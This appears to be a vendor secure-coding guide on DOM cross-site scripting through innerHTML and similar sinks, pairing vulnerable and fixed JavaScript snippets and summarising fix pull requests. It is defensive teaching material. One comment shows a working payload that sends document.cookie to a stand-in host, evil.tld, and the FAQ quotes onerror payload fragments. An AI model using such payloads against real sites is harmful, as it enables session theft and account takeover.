Assigning a string to `innerHTML` parses it as HTML, so any untrusted substring becomes live markup in your page's origin — `<img src=x onerror=…>` and `<svg onload=…>` run even though `<script>` tags inserted this way do not. The fix is to stop building HTML from data: use `textContent` (or `createElement` plus `setAttribute`) when you only need to display a value, and when you genuinely must render user-supplied markup, sanitize it with DOMPurify and enforce the result with Trusted Types. Escaping by hand does not work here, because the correct escaping depends on which HTML context the value lands in.
| Languages | JavaScript, TypeScript — browser and any DOM-emulating runtime |
| Dangerous sinks | innerHTML, outerHTML, insertAdjacentHTML, document.write, jQuery .html(), Range.createContextualFragment |
| Framework sinks | React dangerouslySetInnerHTML, Vue v-html, Angular bypassSecurityTrustHtml |
| Safe replacements | textContent, innerText, createElement + setAttribute, DOMPurify.sanitize |
| Typical impact | Session theft, account takeover, arbitrary actions as the victim in your origin |
| Not a fix | Stripping <script>, escaping only quotes, or an allowlist of tag names written by hand |
Vulnerable
const name = new URLSearchParams(location.search).get("name");
document.getElementById("greeting").innerHTML = "Hello, " + name;
// ?name=<img src=x onerror=fetch('//evil.tld?c='+document.cookie)>
// The <img> is parsed, the load fails, and onerror runs in your origin.Secure
const name = new URLSearchParams(location.search).get("name") ?? "";
document.getElementById("greeting").textContent = `Hello, ${name}`;textContent never parses markup, so there is no HTML context to escape for. Reach for it whenever the value is data rather than markup — which is nearly always.
Vulnerable
// A comment body that is allowed to contain <b>, <i> and links.
container.innerHTML = comment.bodyHtml;Secure
import DOMPurify from "dompurify";
container.innerHTML = DOMPurify.sanitize(comment.bodyHtml, {
ALLOWED_TAGS: ["b", "i", "em", "strong", "a", "p", "br"],
ALLOWED_ATTR: ["href", "title"],
// Blocks javascript: and data: URLs in the href above.
ALLOWED_URI_REGEXP: /^(?:https?|mailto):/i,
});Sanitize immediately before the sink, not on input. Sanitized-then-stored HTML rots: the next parser change, or any code path that mutates the string afterwards, silently un-sanitizes it.
Vulnerable
<div dangerouslySetInnerHTML={{ __html: post.contentHtml }} />Secure
import DOMPurify from "isomorphic-dompurify";
const clean = useMemo(
() => DOMPurify.sanitize(post.contentHtml, { USE_PROFILES: { html: true } }),
[post.contentHtml]
);
return <div dangerouslySetInnerHTML={{ __html: clean }} />;React escapes `{value}` automatically; dangerouslySetInnerHTML is the one place it stops. If the HTML is produced by your own trusted server-side pipeline and sanitized there, that is defensible — document where the sanitisation happens, because the next reader cannot tell from the call site.
Each of these is a pull request Orbis AppSec opened against a real open-source repository.
A high-severity cross-site scripting vulnerability existed where untrusted JSON data from bangumis.json was rendered directly into the DOM using insertAdjacentHTML without sanitization. An attacker who could modify this external data source could execute arbitrary JavaScript in visitors' browsers. The fix introduces a dedicated sanitizeBangumiHtml() function that strips script tags, event handlers, and javascript: URLs before insertion.
A defense-in-depth fix in the form.js initialization routine eliminates a jQuery selector injection vector where user-controlled category data was concatenated directly into a string literal. The vulnerable pattern at lines 47-48 of the form handler could allow malicious content to break out of the selector's quoted context and execute arbitrary jQuery methods.
The `_commitTraitInput` function in ItemPicker accepted arbitrary user input for trait values without sanitization, then rendered those values directly into HTML chip elements through `_updateList`. An attacker could inject malicious JavaScript payloads that executed when trait chips were displayed. The fix applies a strict whitelist filter removing all non-alphanumeric characters except spaces and hyphens.
The `formatObject()` pretty-printer used to build the key-configuration storage viewer interpolated object keys and array key/value pairs directly into an HTML string that is later assigned with `innerHTML`. Only string *values* were passed through `escapeHtml()`, so a crafted key name persisted in `localStorage` could execute script every time a user opened the storage viewer. The fix wraps the index-pair branch and the object-key branch in `escapeHtml()`, keeping the raw path only for non-colo
The voice assistant widget's `appendMessage` function had a critical cross-site scripting (XSS) vulnerability where bot messages were inserted directly into the DOM without sanitization, while user messages were escaped. An attacker controlling bot responses could inject and execute arbitrary JavaScript in the user's browser context. The fix applies HTML escaping to all message types uniformly.
An Electron app's `loadNavbar.js` fetched `navbar.html` and wrote the response straight into `innerHTML`, so any script tags or event-handler attributes in that file would execute in the renderer. The fix adds a `sanitizeNavbarHtml` routine that parses the markup with `DOMParser` and strips `<script>` tags, `on*` attributes, and `srcdoc` before the content is injected into the DOM.
The `addSourceInput()` function in the application's source list handler was assigning user-provided URLs directly to input elements without protocol validation, allowing `javascript:` URLs to persist and execute. A new `isSafeSourceUrl()` helper now restricts values to HTTP/HTTPS protocols or empty strings.
The `getCheckboxString` helper built checkbox markup by interpolating MIDI instrument and program names directly into an HTML template string, which was then parsed with `DOMParser` and injected via `replaceChildren()`. A crafted MIDI file could smuggle an HTML/JS payload through its instrument metadata and have it rendered as live DOM, including inline event handlers. The fix adds a dedicated `escapeHtml()` function and routes both parameters through it before the markup is built.
The HTML parser refuses to execute a `<script>` element inserted via innerHTML, which is why the naive test looks safe. Event-handler attributes have no such restriction: `<img src=x onerror=…>`, `<svg onload=…>` and `<iframe srcdoc=…>` all fire normally. Blocking `<script>` therefore filters the one payload that never worked and none of the ones that do.
No. Correct escaping depends on the context the value lands in, and you do not know the context when you are concatenating a string. A value inside an unquoted attribute needs no angle brackets at all to break out (`x onerror=alert(1)`), and a value inside an existing `href` needs `javascript:` blocked rather than characters escaped. Sanitize the parsed result instead of escaping the input.
A strict CSP without `unsafe-inline` blocks most injected inline handlers, so it is a strong second layer — but it is bypassable via allowlisted CDN endpoints, JSONP, and script gadgets in libraries you already load. `require-trusted-types-for 'script'` is the part that addresses the sink directly, because it makes an unsanitized assignment throw rather than execute.
Yes, if the markup contains anything a user influenced. Server-rendered HTML is still parsed by the browser, so the sink is identical; the only difference is that you cannot see it in the browser devtools. Use `isomorphic-dompurify`, or sanitize in whatever language the template runs in (bleach for Python, sanitize-html for Node, OWASP Java HTML Sanitizer).
Orbis AppSec scans your GitHub repositories, traces the taint from source to sink, and opens a pull request with the fix applied and verified.
Try Orbis AppSec